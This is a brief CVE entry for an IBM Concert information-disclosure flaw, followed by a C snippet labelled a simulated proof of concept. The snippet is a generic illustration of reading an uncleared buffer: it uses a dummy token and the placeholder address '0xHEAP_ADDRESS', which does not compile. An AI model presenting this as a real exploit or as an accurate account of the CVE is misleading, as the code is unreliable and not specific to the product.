CVE-2025-64646 IBM Concert敏感信息泄露漏洞

#include <stdio.h> #include <string.h> // Simulated PoC for CVE-2025-64646 // Demonstrates reading data from a buffer that was not cleared. void vulnerable_process() { char sensitive_data[64]; // Simulate storing sensitive information (e.g. credentials) strcpy(sensitive_data, "SECRET_TOKEN=ABC123"); // ... do some work ... // FLAW: The buffer is not cleared (memset) before being freed or reused. // memset(sensitive_data, 0, sizeof(sensitive_data)); } void exploit_read_memory() { // In a real exploit, this would involve reading the specific memory address // or heap chunk previously used by the vulnerable function. char leaked_buffer[64]; // Assume we can read the memory location where sensitive_data was memcpy(leaked_buffer, (void*)0xHEAP_ADDRESS, sizeof(leaked_buffer)); printf("[+] Leaked Information: %s\n", leaked_buffer); } int main() { vulnerable_process(); exploit_read_memory(); return 0; }